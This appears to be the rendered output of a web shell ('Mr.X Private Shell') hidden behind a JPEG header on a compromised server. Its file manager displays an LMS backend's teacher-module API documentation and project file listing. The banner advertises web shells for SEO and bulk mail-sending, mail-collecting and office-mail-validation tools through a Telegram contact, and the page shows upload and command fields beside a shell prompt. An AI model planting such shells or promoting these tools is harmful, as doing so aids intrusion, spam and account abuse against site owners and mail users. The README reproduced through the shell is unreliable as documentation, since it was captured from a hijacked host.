����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

sanzxfik@216.73.216.37: ~ $
# Teacher Module Documentation

This document provides an overview of the Teacher Module implemented in the Learning Management System (LMS) backend.

## Models

The Teacher Module uses the following data models:

1. **User Model** (extending the existing User model for teacher role)
2. **Class Model** - Represents a class taught by teachers
3. **Course Model** - Represents academic courses
4. **Attendance Model** - Tracks student attendance and class completion
5. **Quiz Model** - Manages quizzes created by teachers
6. **Query Model** - Handles student queries to teachers
7. **Salary Model** - Tracks teacher salary information
8. **Event Model** - Manages calendar events

## API Endpoints

### Dashboard
- GET `/teacher/dashboard/summary` - Get statistics summary for the dashboard
- GET `/teacher/dashboard/monthly-attendance` - Get monthly attendance overview for charts
- GET `/teacher/dashboard/recent-queries` - Get recent student queries
- GET `/teacher/dashboard/current-day` - Get current day class overview
- GET `/teacher/dashboard/attendance-ratio` - Get present vs absent ratio

### Timetable
- GET `/teacher/timetable/today-overview` - Get overview of today's classes
- GET `/teacher/timetable/weekly` - Get the weekly timetable
- GET `/teacher/timetable/export` - Export timetable as PDF

### Account
- GET `/teacher/account/summary` - Get account summary (paid, unpaid, absent balance)
- GET `/teacher/account/teaching-hours` - Get teaching hours overview
- GET `/teacher/account/salary-status` - Get salary status table

### Quiz Management
- GET `/teacher/quiz/dashboard-cards` - Get quiz dashboard statistics
- GET `/teacher/quiz/filter-options` - Get filter options for quizzes
- GET `/teacher/quiz` - Get list of quizzes with filtering
- POST `/teacher/quiz` - Create a new quiz
- GET `/teacher/quiz/:id` - Get quiz details including submissions
- PUT `/teacher/quiz/:id` - Update an existing quiz
- DELETE `/teacher/quiz/:id` - Delete a quiz

### Query Management
- GET `/teacher/queries` - Get list of student queries
- GET `/teacher/queries/:id` - Get query details
- POST `/teacher/queries/:id/reply` - Reply to a student query
- PUT `/teacher/queries/:id/status` - Update query status

### Settings
- GET `/teacher/profile` - Get teacher profile information
- PUT `/teacher/profile` - Update teacher profile
- PUT `/teacher/change-password` - Change password
- GET `/teacher/preferences` - Get teacher preferences
- PUT `/teacher/preferences` - Update teacher preferences

## Authentication & Authorization

- All teacher routes are protected with JWT authentication
- The `userAuth` and `checkRole(["teacher"])` middleware ensures only teachers can access these endpoints
- Token validation and role-based access control is implemented as per existing patterns

## Validation

Input validation is implemented for all routes using Joi schemas:
- `createQuizSchema` - Validates quiz creation
- `updateQuizSchema` - Validates quiz updates
- `replyQuerySchema` - Validates query replies
- `queryStatusSchema` - Validates status updates
- `changePasswordSchema` - Validates password changes
- `updatePreferencesSchema` - Validates preference updates

## Dependencies

- PDFKit library is used for generating PDF exports
- Mongoose for database operations
- Express for API routing
- JWT for authentication

## Notes for Future Development

1. Consider implementing real-time notifications for student queries
2. Add file upload capabilities for quiz attachments and materials
3. Implement attendance marking functionality for teachers
4. Add grading system for submitted quizzes 

Filemanager

Name Type Size Permission Actions
config Folder 0755
controllers Folder 0755
middlewares Folder 0755
models Folder 0755
node_modules Folder 0755
routes Folder 0755
service Folder 0755
tmp Folder 0755
uploads Folder 0755
utils Folder 0755
validations Folder 0755
.htaccess File 1011 B 0644
README_ADMIN.md File 3.3 KB 0644
README_AUTH.md File 3.13 KB 0644
README_HR.md File 5.05 KB 0644
README_TEACHER.md File 3.53 KB 0644
package-lock.json File 118.83 KB 0644
package.json File 573 B 0644
server.js File 2.14 KB 0644
stderr.log File 95.22 KB 0644
teacher portal.pdf File 4.14 MB 0644
vercel.json File 185 B 0644